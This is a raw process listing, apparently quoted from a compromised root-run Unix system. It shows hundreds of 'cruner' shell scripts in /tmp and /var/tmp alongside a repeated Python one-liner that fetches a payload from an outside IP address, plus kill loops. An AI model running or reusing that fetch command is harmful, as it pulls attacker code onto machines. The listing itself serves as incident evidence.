fbi.urlopen("http://209.141.40.190/xms"). > root 10870 2838 0 15:46:07 ? 0:00 sleep 60 > root 10437 24101 0 - ? 0:00 <defunct> > root 4754 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24672 21279 0 15:45:27 ? 0:00 sleep 60 > root 20727 13884 0 15:44:53 ? 0:00 bash -sh > root 25915 27792 0 15:44:20 ? 0:00 bash -sh > root 9443 15546 0 15:46:07 ? 0:00 sleep 60 > root 15736 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20966 16358 0 - ? 0:00 <defunct> > root 4049 1391 0 15:44:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10629 23451 0 15:45:28 ? 0:00 bash -sh > root 15964 16764 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 22070 1 0 22:18:24 ? 0:00 sh /var/tmp/cruner > root 13364 1525 0 15:45:37 ? 0:00 bash -sh > root 24305 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 22277 307 0 - ? 0:00 <defunct> > root 17798 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8444 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5604 28393 0 15:44:23 ? 0:00 bash -sh > root 15821 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4174 23675 0 - ? 0:00 <defunct> > root 4500 4160 0 15:45:04 ? 0:00 bash -sh > root 27887 15325 0 15:45:03 ? 0:00 bash -sh > root 4190 2916 0 11:31:16 ? 0:00 /opt/csw/sbin/sshd -R > root 18091 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 12215 12851 0 - ? 0:00 <defunct> > root 10298 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9249 5717 0 15:46:12 ? 0:00 bash -sh > root 9652 7432 0 - ? 0:00 <defunct> > root 29994 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24197 10292 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11241 23882 0 15:45:10 ? 0:00 bash -sh > root 17885 11934 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 14636 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15607 5433 0 15:43:21 ? 0:00 bash -sh > root 8938 24691 0 15:45:20 ? 0:00 bash -sh > root 29263 28759 0 - ? 0:00 <defunct> > root 13094 14094 0 - ? 0:00 <defunct> > root 17875 21645 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14963 10237 0 - ? 0:00 <defunct> > root 23636 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14500 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21118 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6219 6362 0 - ? 0:00 <defunct> > root 9217 5647 0 15:46:12 ? 0:00 xargs kill -9 > root 14728 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4745 1031 0 15:45:31 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6991 8516 0 15:45:20 ? 0:00 sleep 60 > root 2659 2606 0 - ? 0:00 <defunct> > root 3304 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8457 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5809 17122 0 15:45:40 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24171 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 24216 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 13318 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27675 14167 0 15:44:21 ? 0:00 bash -sh > root 27407 2655 0 15:46:02 ? 0:00 sh /tmp/cruner > root 10474 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2568 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1934 29208 0 15:43:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13753 4902 0 15:43:56 ? 0:00 bash -sh > root 8619 7374 0 15:46:12 ? 0:00 bash -sh > root 20067 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10959 10939 0 15:45:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 298 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13664 11502 0 15:43:20 ? 0:00 bash -sh > root 10078 17956 0 - ? 0:00 <defunct> > root 6314 21626 0 - ? 0:00 <defunct> > root 11498 11216 0 15:45:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6104 3416 0 - ? 0:00 <defunct> > root 19463 6386 0 - ? 0:00 <defunct> > root 7178 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14477 16933 0 15:45:11 ? 0:00 sleep 60 > root 24895 21953 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26758 11260 0 - ? 0:00 <defunct> > root 12737 27585 0 - ? 0:00 <defunct> > root 6633 19346 0 - ? 0:00 <defunct> > root 25458 2064 0 - ? 0:00 <defunct> > root 18199 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24637 26008 0 15:45:43 ? 0:00 bash -sh > root 11814 11807 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10676 7832 0 15:44:51 ? 0:00 bash -sh > root 26700 24183 0 15:45:47 ? 0:00 xargs kill -9 > root 7509 9116 0 15:45:49 ? 0:00 sleep 60 > root 25628 6440 0 15:45:43 ? 0:00 xargs kill -9 > root 24 29869 0 15:46:11 ? 0:00 /bin/ksh -p /bin/kill -9 > root 26824 1 0 21:31:44 ? 0:00 sh /var/tmp/cruner > root 23247 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26628 1749 0 15:45:07 ? 0:00 bash -sh > root 20571 26467 0 15:45:52 ? 0:00 bash -sh > root 4300 1 0 20:21:11 ? 0:00 sh /var/tmp/cruner > root 10400 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26861 1305 0 15:45:43 ? 0:00 sleep 60 > root 498 18786 0 - ? 0:00 <defunct> > root 1732 24106 0 15:44:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22500 16704 0 15:43:40 ? 0:00 bash -sh > root 3744 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25511 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3125 4988 0 15:43:54 ? 0:00 bash -sh > root 12397 9683 0 15:43:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18786 13052 0 15:43:56 ? 0:00 bash -sh > root 9526 15157 0 15:43:55 ? 0:00 bash -sh > root 175 2899 0 - ? 0:00 <defunct> > root 19878 14506 0 - ? 0:00 <defunct> > root 1790 27984 0 15:46:06 ? 0:00 bash -sh > root 28554 5723 0 - ? 0:00 <defunct> > root 17474 4597 0 - ? 0:00 <defunct> > root 17900 19573 0 15:45:42 ? 0:00 sleep 60 > root 21886 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13624 25910 0 15:45:59 ? 0:00 xargs kill -9 > root 26266 14344 0 15:45:18 ? 0:00 bash -sh > root 14121 29814 0 15:45:21 ? 0:00 bash -sh > root 14057 8525 0 15:45:50 ? 0:00 bash -sh > root 27072 5899 0 15:45:34 ? 0:00 sleep 60 > root 3729 21824 0 - ? 0:00 <defunct> > root 530 21354 0 15:45:48 ? 0:00 sleep 60 > root 11749 26964 0 15:45:59 ? 0:00 bash -sh > root 7668 7657 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28218 5703 0 15:46:10 ? 0:00 bash -sh > root 8625 1261 0 15:45:28 ? 0:00 bash -sh > root 15439 16494 0 15:46:08 ? 0:00 bash -sh > root 16402 5663 0 - ? 0:00 <defunct> > root 22228 17383 0 - ? 0:00 <defunct> > root 8344 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20890 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9908 8728 0 15:44:34 ? 0:00 bash -sh > root 14837 8565 0 15:45:05 ? 0:00 bash -sh > root 1070 16203 0 15:45:48 ? 0:00 sleep 60 > root 6560 17943 0 15:46:06 ? 0:00 bash -sh > root 27439 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24650 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13208 25926 0 - ? 0:00 <defunct> > root 9030 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12769 11555 0 15:46:08 ? 0:00 sleep 60 > root 11070 10986 0 - ? 0:00 <defunct> > root 22481 11506 0 15:43:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11350 22205 0 - ? 0:00 <defunct> > root 18231 10887 0 15:42:01 ? 0:00 bash -sh > root 5494 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 477 25267 0 15:45:18 ? 0:00 bash -sh > root 17759 1 0 21:47:26 ? 0:00 sh /var/tmp/cruner > root 27791 10733 0 15:46:02 ? 0:00 sh /tmp/cruner > root 21848 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 26475 23356 0 15:43:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21178 3541 0 - ? 0:00 <defunct> > root 13689 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22065 27526 0 15:45:52 ? 0:00 bash -sh > root 5656 26919 0 15:46:12 ? 0:00 sleep 60 > root 23944 18963 0 15:45:57 ? 0:00 sleep 60 > root 17188 24592 0 15:45:37 ? 0:00 bash -sh > root 25841 6567 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26974 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25636 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24736 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25273 10849 0 15:45:27 ? 0:00 sleep 60 > root 9403 28768 0 15:45:59 ? 0:00 sleep 60 > root 1106 14126 0 15:45:58 ? 0:00 sleep 60 > root 1465 3785 0 15:45:39 ? 0:00 bash -sh > root 22698 18878 0 15:46:09 ? 0:00 xargs kill -9 > root 10667 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28265 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17396 7401 0 15:43:27 ? 0:00 bash -sh > root 27892 20731 0 15:44:21 ? 0:00 bash -sh > root 26351 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1247 20620 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21240 4497 0 15:45:46 ? 0:00 sh /tmp/cruner > root 24696 10976 0 15:46:01 ? 0:00 bash -sh > root 6031 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2781 14205 0 15:46:02 ? 0:00 sleep 60 > root 7084 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4965 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 18356 4008 0 15:46:00 ? 0:00 sh /tmp/cruner > root 6146 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9857 27483 0 15:45:20 ? 0:00 sleep 60 > root 27584 8498 0 15:45:34 ? 0:00 sleep 60 > root 24445 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27744 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4683 1021 0 - ? 0:00 <defunct> > root 904 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29979 11105 0 15:46:11 ? 0:00 bash -sh > root 15812 25209 0 - ? 0:00 <defunct> > root 104 8471 0 15:45:34 ? 0:00 sleep 60 > root 3199 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16898 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2903 20974 0 - ? 0:00 <defunct> > root 10180 2443 0 15:44:04 ? 0:00 bash -sh > root 15882 5764 0 15:46:08 ? 0:00 bash -sh > root 16735 29515 0 - ? 0:00 <defunct> > root 15276 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 13301 15113 0 15:45:59 ? 0:00 xargs kill -9 > root 25069 10105 0 15:45:47 ? 0:00 sleep 60 > root 2978 1837 0 - ? 0:00 <defunct> > root 12564 10977 0 - ? 0:00 <defunct> > root 22244 12647 0 15:45:30 ? 0:00 sleep 60 > root 27905 25072 0 15:45:18 ? 0:00 sleep 60 > root 23575 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24746 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24384 20993 0 15:45:27 ? 0:00 sleep 60 > root 27644 20684 0 15:46:02 ? 0:00 bash -sh > root 14296 15696 0 - ? 0:00 <defunct> > root 28943 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20316 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13041 29724 0 15:45:21 ? 0:00 sleep 60 > root 18706 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11761 217 0 15:45:25 ? 0:00 sleep 60 > root 3186 6182 0 15:45:44 ? 0:00 sleep 60 > root 17425 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24849 21068 0 15:43:35 ? 0:00 bash -sh > root 27165 20068 0 - ? 0:00 <defunct> > root 20896 21203 0 15:45:42 ? 0:00 sleep 60 > root 14539 612 0 15:46:08 ? 0:00 sleep 60 > root 10965 18632 0 15:45:25 ? 0:00 sleep 60 > root 8711 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25066 20553 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15116 27709 0 15:45:46 ? 0:00 bash -sh > root 14462 5277 0 15:44:52 ? 0:00 bash -sh > root 2361 9615 0 - ? 0:00 <defunct> > root 17078 23813 0 - ? 0:00 <defunct> > root 23753 14761 0 15:46:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3706 5131 0 15:44:42 ? 0:00 bash -sh > root 25785 23196 0 15:43:15 ? 0:00 bash -sh > root 15620 11372 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2384 19027 0 15:45:19 ? 0:00 sleep 60 > root 14573 1 0 22:23:01 ? 0:00 sh /var/tmp/cruner > root 14874 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 9055 15814 0 15:45:28 ? 0:00 bash -sh > root 25735 7608 0 15:45:17 ? 0:00 bash -sh > root 28829 11008 0 15:45:34 ? 0:00 sleep 60 > root 12544 19476 0 15:45:05 ? 0:00 bash -sh > root 2875 24827 0 - ? 0:00 <defunct> > root 27867 29338 0 15:45:34 ? 0:00 sleep 60 > root 28410 475 0 - ? 0:00 <defunct> > root 16657 14659 0 - ? 0:00 <defunct> > root 7909 1 0 21:14:32 ? 0:00 sh /var/tmp/cruner > root 16234 21591 0 15:43:45 ? 0:00 bash -sh > root 1592 5194 0 15:44:02 ? 0:00 bash -sh > root 14295 18522 0 15:45:11 ? 0:00 sh /tmp/cruner > root 2853 7431 0 - ? 0:00 <defunct> > root 13700 11023 0 15:45:50 ? 0:00 bash -sh > root 2434 11468 0 15:45:53 ? 0:00 bash -sh > root 18558 710 0 15:42:49 ? 0:00 bash -sh > root 17953 25459 0 15:45:46 ? 0:00 bash -sh > root 29630 7164 0 15:45:34 ? 0:00 sleep 60 > root 4304 15232 0 - ? 0:00 <defunct> > root 6287 17752 0 15:45:25 ? 0:00 sleep 60 > root 1677 4329 0 15:45:53 ? 0:00 sh /tmp/cruner > root 11646 17110 0 15:45:36 ? 0:00 sleep 60 > root 29231 29229 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5395 17563 0 15:45:28 ? 0:00 sleep 60 > root 9308 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3426 3407 0 15:46:11 ? 0:00 xargs kill -9 > root 3471 19870 0 15:45:35 ? 0:00 sleep 60 > root 10895 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26447 25268 0 - ? 0:00 <defunct> > root 2462 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 22955 22950 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12156 4541 0 - ? 0:00 <defunct> > root 10516 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 11330 11322 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2021 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24446 14560 0 15:45:47 ? 0:00 bash -sh > root 5337 8331 0 - ? 0:00 <defunct> > root 24513 7671 0 15:45:27 ? 0:00 sleep 60 > root 4716 25534 0 15:46:11 ? 0:00 /bin/ksh -p /bin/kill -9 > root 6188 7473 0 - ? 0:00 <defunct> > root 2002 8188 0 15:44:11 ? 0:00 bash -sh > root 24257 18803 0 15:43:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6775 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14136 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11674 15151 0 15:45:59 ? 0:00 bash -sh > root 2523 26025 0 15:45:40 ? 0:00 bash -sh > root 23259 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17951 13211 0 15:43:39 ? 0:00 bash -sh > root 4447 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23403 21264 0 15:43:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20986 20975 0 - ? 0:00 <defunct> > root 21216 15762 0 15:46:09 ? 0:00 sleep 60 > root 22042 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17865 16321 0 15:46:08 ? 0:00 /bin/ksh -p /bin/kill -9 > root 29145 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15562 15359 0 15:46:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22824 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9878 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29772 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16281 22873 0 - ? 0:00 <defunct> > root 28646 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10368 17549 0 15:45:50 ? 0:00 bash -sh > root 119 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2115 7185 0 - ? 0:00 <defunct> > root 8676 10610 0 15:45:20 ? 0:00 sleep 60 > root 17606 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3157 2135 0 15:46:06 ? 0:00 sleep 60 > root 11411 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 18896 29674 0 - ? 0:00 <defunct> > root 10745 8021 0 - ? 0:00 <defunct> > root 2327 19765 0 - ? 0:00 <defunct> > root 19018 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3626 23166 0 15:45:35 ? 0:00 bash -sh > root 8194 2521 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9162 24630 0 15:45:41 ? 0:00 /bin/ksh -p /bin/kill -9 > root 8704 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21228 28057 0 15:43:39 ? 0:00 bash -sh > root 20499 18346 0 15:44:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 368 356 0 15:46:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10780 28637 0 15:45:41 ? 0:00 bash -sh > root 16355 21972 0 - ? 0:00 <defunct> > root 2079 29094 0 - ? 0:00 <defunct> > root 8083 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2024 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 16448 20739 0 15:43:27 ? 0:00 bash -sh > root 26763 3659 0 15:45:34 ? 0:00 sleep 60 > root 14416 21355 0 15:45:55 ? 0:00 bash -sh > root 23925 17772 0 15:43:14 ? 0:00 bash -sh > root 1648 24105 0 15:45:19 ? 0:00 sleep 60 > root 16971 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19938 20182 0 - ? 0:00 <defunct> > root 4031 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3549 22920 0 15:46:11 ? 0:00 sleep 60 > root 3285 1 0 02:18:13 ? 0:00 sh /var/tmp/cruner > root 19515 15466 0 15:44:53 ? 0:00 bash -sh > root 18513 15922 0 - ? 0:00 <defunct> > root 29923 27796 0 15:45:14 ? 0:00 bash -sh > root 15581 13811 0 15:44:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4600 5949 0 - ? 0:00 <defunct> > root 16863 26703 0 15:45:51 ? 0:00 bash -sh > root 27666 6664 0 15:45:47 ? 0:00 bash -sh > root 1308 7149 0 15:45:44 ? 0:00 bash -sh > root 8088 10278 0 15:43:37 ? 0:00 bash -sh > root 8209 23794 0 15:45:20 ? 0:00 sleep 60 > root 918 24778 0 15:43:41 ? 0:00 bash -sh > root 6191 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14469 28863 0 15:45:37 ? 0:00 bash -sh > root 16831 23513 0 15:46:08 ? 0:00 sleep 60 > root 25659 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16171 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15245 20897 0 15:45:51 ? 0:00 bash -sh > root 11830 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7971 374 0 15:45:54 ? 0:00 sleep 60 > root 14360 23136 0 15:45:59 ? 0:00 bash -sh > root 1759 2446 0 15:45:53 ? 0:00 sleep 60 > root 12438 12234 0 15:46:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27793 29052 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 214 28741 0 15:45:48 ? 0:00 sleep 60 > root 26906 10200 0 - ? 0:00 <defunct> > root 21801 21787 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28859 562 0 15:46:02 ? 0:00 bash -sh > root 16053 11299 0 - ? 0:00 <defunct> > root 1257 3697 0 15:46:02 ? 0:00 sleep 60 > root 28212 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26006 25136 0 15:45:17 ? 0:00 bash -sh > root 22497 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 18524 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26864 10165 0 - ? 0:00 <defunct> > root 17062 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9619 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4622 19082 0 15:45:24 ? 0:00 sleep 60 > root 14628 10734 0 15:46:04 ? 0:00 bash -sh > root 3575 25770 0 - ? 0:00 <defunct> > root 3984 10088 0 15:45:54 ? 0:00 bash -sh > root 510 10343 0 - ? 0:00 <defunct> > root 11578 13789 0 15:45:36 ? 0:00 bash -sh > root 25449 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14479 3271 0 - ? 0:00 <defunct> > root 29234 16553 0 15:45:39 ? 0:00 sh /var/tmp/cruner > root 22520 16990 0 15:46:01 ? 0:00 bash -sh > root 23532 18838 0 15:46:01 ? 0:00 sh /tmp/cruner > root 10912 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19320 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 29042 15627 0 15:45:43 ? 0:00 xargs kill -9 > root 27650 15019 0 - ? 0:00 <defunct> > root 4237 27134 0 15:44:33 ? 0:00 bash -sh > root 4767 4722 0 15:45:24 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15641 9802 0 15:45:41 ? 0:00 sleep 60 > root 6567 18197 0 15:44:51 ? 0:00 bash -sh > root 22691 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9549 22157 0 - ? 0:00 <defunct> > root 863 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8887 230 0 15:45:40 ? 0:00 bash -sh > root 21244 15319 0 15:43:57 ? 0:00 bash -sh > root 14715 5206 0 15:46:08 ? 0:00 sleep 60 > root 17409 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25271 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29379 10391 0 15:45:57 ? 0:00 xargs kill -9 > root 1249 17067 0 15:45:48 ? 0:00 sh /tmp/cruner > root 542 19574 0 - ? 0:00 <defunct> > root 20182 22160 0 15:44:53 ? 0:00 bash -sh > root 5176 5163 0 - ? 0:00 <defunct> > root 27266 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15876 5469 0 - ? 0:00 <defunct> > root 25820 21056 0 - ? 0:00 <defunct> > root 5805 29301 0 15:43:25 ? 0:00 bash -sh > root 723 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11319 7288 0 15:46:07 ? 0:00 sleep 60 > root 14441 22761 0 - ? 0:00 <defunct> > root 22361 28488 0 15:45:06 ? 0:00 bash -sh > root 26877 26320 0 - ? 0:00 <defunct> > root 6957 5531 0 15:46:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12091 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15542 5995 0 15:45:37 ? 0:00 sleep 60 > root 8671 8590 0 15:46:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29844 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 12947 27358 0 15:45:16 ? 0:00 sleep 60 > root 19196 18098 0 15:44:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14486 14003 0 - ? 0:00 <defunct> > root 9438 28213 0 15:46:12 ? 0:00 sh /var/tmp/cruner > root 15860 21723 0 15:45:41 ? 0:00 bash -sh > root 23387 15057 0 - ? 0:00 <defunct> > root 5591 5588 0 15:46:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27743 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25285 3336 0 - ? 0:00 <defunct> > root 11696 3817 0 15:44:15 ? 0:00 bash -sh > root 3663 20958 0 15:45:19 ? 0:00 sleep 60 > root 20131 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21465 2752 0 15:45:42 ? 0:00 sleep 60 > root 18224 14478 0 15:46:09 ? 0:00 sleep 60 > root 11515 13755 0 15:45:32 ? 0:00 bash -sh > root 14498 17300 0 - ? 0:00 <defunct> > root 6917 6912 0 15:44:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8212 6459 0 - ? 0:00 <defunct> > root 18137 18057 0 - ? 0:00 <defunct> > root 9535 10588 0 15:45:31 ? 0:00 bash -sh > root 7861 18414 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10441 6599 0 - ? 0:00 <defunct> > root 23591 23580 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11280 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24502 5534 0 15:45:38 ? 0:00 sleep 60 > root 29518 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20822 8049 0 - ? 0:00 <defunct> > root 14362 6233 0 15:45:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5675 26878 0 - ? 0:00 <defunct> > root 1840 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7158 19330 0 15:46:07 ? 0:00 bash -sh > root 27180 21481 0 15:45:18 ? 0:00 sleep 60 > root 3752 298 0 15:45:58 ? 0:00 sleep 60 > root 7082 8151 0 - ? 0:00 <defunct> > root 12649 15248 0 - ? 0:00 <defunct> > root 20183 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27529 1 0 22:41:05 ? 0:00 sh /var/tmp/cruner > root 21682 22694 0 15:45:29 ? 0:00 sleep 60 > root 13557 5088 0 - ? 0:00 <defunct> > root 17688 28703 0 15:45:37 ? 0:00 xargs kill -9 > root 29531 24908 0 15:45:18 ? 0:00 sleep 60 > root 16654 6538 0 - ? 0:00 <defunct> > root 19506 19780 0 15:45:29 ? 0:00 sleep 60 > root 6963 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7901 14753 0 15:46:12 ? 0:00 bash -sh > root 8670 7458 0 15:46:12 ? 0:00 sleep 60 > root 956 25985 0 15:45:58 ? 0:00 sleep 60 > root 6398 16291 0 15:45:20 ? 0:00 sleep 60 > root 24252 8847 0 15:44:54 ? 0:00 bash -sh > root 13121 10576 0 15:46:04 ? 0:00 sleep 60 > root 23150 21250 0 15:46:09 ? 0:00 sed -e s/\/.*//g > root 24628 20532 0 15:45:13 ? 0:00 bash -sh > root 17513 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6753 1 0 Oct 05 ? 0:02 